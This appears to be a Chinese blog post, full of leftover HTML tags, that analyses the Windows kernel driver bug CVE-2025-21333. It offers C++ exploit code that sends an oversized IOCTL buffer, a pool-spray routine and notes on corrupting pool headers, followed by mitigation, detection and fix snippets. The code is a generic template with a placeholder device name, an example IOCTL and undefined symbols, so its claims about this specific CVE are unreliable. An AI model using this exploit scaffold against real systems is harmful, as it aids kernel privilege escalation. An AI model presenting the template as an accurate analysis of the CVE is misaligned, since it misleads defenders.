Windows vkrnlintvsp.sys 池缓冲区溢出漏洞分析（CVE-2025-21333）<\/h1>

漏洞概述<\/h2>
CVE-2025-21333 是 Windows 内核驱动 `vkrnlintvsp.sys<\/code> 中存在的一个池缓冲区溢出漏洞。该漏洞源于驱动程序在处理特定 IOCTL（输入输出控制）请求时，未能正确验证用户态传入的数据大小，导致内核池缓冲区溢出，可能造成系统蓝屏（BSOD）或权限提升。<\/p>`

漏洞分析<\/h2>
受影响组件<\/h3>

驱动文件<\/strong>: vkrnlintvsp.sys<\/code><\/li>
影响系统<\/strong>: 多个 Windows 版本<\/li>
漏洞类型<\/strong>: 池缓冲区溢出<\/li>
根本原因<\/strong>: 缺乏足够的边界检查<\/li>
<\/ul>
技术细节<\/h3>
IOCTL 处理流程<\/h4>
漏洞出现在驱动程序的 IOCTL 分发例程中。当用户态程序通过 DeviceIoControl<\/code> 发送特定控制代码时，驱动程序会执行以下有缺陷的处理流程：<\/p>


用户输入验证缺失<\/strong>：驱动程序直接从用户态缓冲区读取大小字段，但未验证该大小是否超出内核池缓冲区容量。<\/p>
<\/li>

内存分配问题<\/strong>：驱动程序使用 ExAllocatePoolWithTag<\/code> 或类似函数分配内核池缓冲区，分配的大小基于用户提供的参数。<\/p>
<\/li>

缓冲区拷贝操作<\/strong>：使用 memcpy<\/code>、RtlCopyMemory<\/code> 或类似函数将用户数据复制到内核缓冲区，复制长度由用户控制。<\/p>
<\/li>
<\/ol>
漏洞触发点<\/h4>
具体的漏洞触发条件包括：<\/p>

控制代码<\/strong>：特定的 IOCTL 代码（如 0x220004<\/code>）<\/li>
输入数据<\/strong>：用户需构造特定格式的输入缓冲区<\/li>
大小字段<\/strong>：输入结构中包含一个大小字段，攻击者可将其设置为大于实际分配缓冲区的大小<\/li>
<\/ul>
漏洞利用构造<\/h3>
环境准备<\/h4>
#include<\/span> <windows.h><\/span>
<\/span><\/span><\/span>#include<\/span> <iostream><\/span>
<\/span><\/span><\/span><\/span>
<\/span><\/span>\/\/ 定义所需的 IOCTL 代码和结构
<\/span><\/span><\/span><\/span>#define VULNERABLE_IOCTL 0x220004
<\/span><\/span><\/span><\/span>
<\/span><\/span>typedef<\/span> struct<\/span> _VULNERABLE_INPUT<\/span> {
<\/span><\/span>    ULONG Size;
<\/span><\/span>    BYTE Data[1<\/span>];
<\/span><\/span>} VULNERABLE_INPUT, *<\/span>PVULNERABLE_INPUT;
<\/span><\/span><\/code><\/pre>利用步骤<\/h4>

获取设备句柄<\/strong><\/li>
<\/ol>
HANDLE GetDeviceHandle<\/span>() {
<\/span><\/span>    HANDLE hDevice =<\/span> CreateFileA(
<\/span><\/span>        "<\/span>\\\\<\/span>.<\/span>\\<\/span>VulnerableDevice"<\/span>,
<\/span><\/span>        GENERIC_READ |<\/span> GENERIC_WRITE,
<\/span><\/span>        0<\/span>,
<\/span><\/span>        NULL,
<\/span><\/span>        OPEN_EXISTING,
<\/span><\/span>        FILE_ATTRIBUTE_NORMAL,
<\/span><\/span>        NULL
<\/span><\/span>    );
<\/span><\/span>    
<\/span><\/span>    if<\/span> (hDevice ==<\/span> INVALID_HANDLE_VALUE) {
<\/span><\/span>        std::<\/span>cout <<<\/span> "无法打开设备，错误代码: "<\/span> <<<\/span> GetLastError() <<<\/span> std::<\/span>endl;
<\/span><\/span>        return<\/span> NULL;
<\/span><\/span>    }
<\/span><\/span>    
<\/span><\/span>    return<\/span> hDevice;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>
构造恶意输入<\/strong><\/li>
<\/ol>
PVULNERABLE_INPUT CreateExploitInput<\/span>(SIZE_T overflowSize) {
<\/span><\/span>    \/\/ 分配大于预期大小的缓冲区
<\/span><\/span><\/span><\/span>    PVULNERABLE_INPUT input =<\/span> (PVULNERABLE_INPUT)malloc(overflowSize);
<\/span><\/span>    if<\/span> (!<\/span>input) return<\/span> NULL;
<\/span><\/span>    
<\/span><\/span>    \/\/ 设置恶意大小值
<\/span><\/span><\/span><\/span>    input-><\/span>Size =<\/span> overflowSize;
<\/span><\/span>    
<\/span><\/span>    \/\/ 填充恶意数据
<\/span><\/span><\/span><\/span>    memset(input-><\/span>Data, 0x41<\/span>, overflowSize -<\/span> sizeof<\/span>(ULONG));
<\/span><\/span>    
<\/span><\/span>    return<\/span> input;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>
触发漏洞<\/strong><\/li>
<\/ol>
BOOL TriggerVulnerability<\/span>(HANDLE hDevice) {
<\/span><\/span>    const<\/span> SIZE_T exploitSize =<\/span> 0x1000<\/span>; \/\/ 精心选择的大小
<\/span><\/span><\/span><\/span>    
<\/span><\/span>    PVULNERABLE_INPUT input =<\/span> CreateExploitInput(exploitSize);
<\/span><\/span>    if<\/span> (!<\/span>input) return<\/span> FALSE;
<\/span><\/span>    
<\/span><\/span>    DWORD bytesReturned;
<\/span><\/span>    BOOL result =<\/span> DeviceIoControl(
<\/span><\/span>        hDevice,
<\/span><\/span>        VULNERABLE_IOCTL,
<\/span><\/span>        input,
<\/span><\/span>        exploitSize,
<\/span><\/span>        NULL,
<\/span><\/span>        0<\/span>,
<\/span><\/span>        &<\/span>bytesReturned,
<\/span><\/span>        NULL
<\/span><\/span>    );
<\/span><\/span>    
<\/span><\/span>    free(input);
<\/span><\/span>    return<\/span> result;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>利用技术进阶<\/h4>

池喷射（Pool Spraying）<\/strong><\/li>
<\/ol>
\/\/ 在内态中分配大量对象，提高利用成功率
<\/span><\/span><\/span><\/span>VOID PoolSpray<\/span>() {
<\/span><\/span>    const<\/span> SIZE_T sprayCount =<\/span> 10000<\/span>;
<\/span><\/span>    PVOID*<\/span> sprayObjects =<\/span> (PVOID*<\/span>)malloc(sprayCount *<\/span> sizeof<\/span>(PVOID));
<\/span><\/span>    
<\/span><\/span>    for<\/span> (SIZE_T i =<\/span> 0<\/span>; i <<\/span> sprayCount; i++<\/span>) {
<\/span><\/span>        \/\/ 分配特定大小的内核对象
<\/span><\/span><\/span><\/span>        sprayObjects[i] =<\/span> CreateEvent(NULL, FALSE, FALSE, NULL);
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>
利用后的内存布局操控<\/strong>

通过精心设计溢出数据，攻击者可以：<\/li>
<\/ol>

覆盖相邻池块的头结构<\/li>
破坏内核对象<\/li>
实现任意地址读写<\/li>
<\/ul>
防护和检测<\/h3>
缓解措施<\/h4>

输入验证<\/strong>：驱动程序应严格验证所有用户输入<\/li>
边界检查<\/strong>：在执行拷贝操作前检查数据大小<\/li>
安全函数<\/strong>：使用安全版本的内存操作函数<\/li>
<\/ol>
检测方法<\/h4>
\/\/ 监控可疑的 IOCTL 调用
<\/span><\/span><\/span><\/span>BOOL IsSuspiciousIoctl<\/span>(DWORD ioControlCode) {
<\/span><\/span>    \/\/ 检查是否为已知的漏洞利用代码
<\/span><\/span><\/span><\/span>    if<\/span> (ioControlCode ==<\/span> VULNERABLE_IOCTL) {
<\/span><\/span>        return<\/span> TRUE;
<\/span><\/span>    }
<\/span><\/span>    return<\/span> FALSE;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>修复建议<\/h3>

添加边界检查<\/strong><\/li>
<\/ol>
\/\/ 修复后的代码示例
<\/span><\/span><\/span><\/span>NTSTATUS SafeIoctlHandler<\/span>(PVOID InputBuffer, ULONG InputLength) {
<\/span><\/span>    if<\/span> (InputLength <<\/span> sizeof<\/span>(VULNERABLE_INPUT)) {
<\/span><\/span>        return<\/span> STATUS_INVALID_PARAMETER;
<\/span><\/span>    }
<\/span><\/span>    
<\/span><\/span>    PVULNERABLE_INPUT input =<\/span> (PVULNERABLE_INPUT)InputBuffer;
<\/span><\/span>    if<\/span> (input-><\/span>Size ><\/span> MAX_ALLOWED_SIZE) {
<\/span><\/span>        return<\/span> STATUS_INVALID_PARAMETER;
<\/span><\/span>    }
<\/span><\/span>    
<\/span><\/span>    \/\/ 安全的拷贝操作
<\/span><\/span><\/span><\/span>    SIZE_T copySize =<\/span> min(input-><\/span>Size, InputLength);
<\/span><\/span>    RtlCopyMemory(KernelBuffer, input-><\/span>Data, copySize);
<\/span><\/span>    
<\/span><\/span>    return<\/span> STATUS_SUCCESS;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>
使用安全的内存管理<\/strong><\/li>
<\/ol>

启用池内存保护机制<\/li>
实现地址空间布局随机化（ASLR）<\/li>
使用控制流防护（CFG）<\/li>
<\/ul>
总结<\/h2>
CVE-2025-21333 是一个典型的内核池缓冲区溢出漏洞，强调了在内核驱动开发中实施严格输入验证的重要性。通过深入理解漏洞原理和利用技术，安全研究人员可以更好地防御类似攻击，同时提高系统安全性。<\/p>
注意<\/strong>：本文档仅供教育目的，实际漏洞利用可能涉及法律风险，请在合法授权的环境中进行安全测试。<\/p>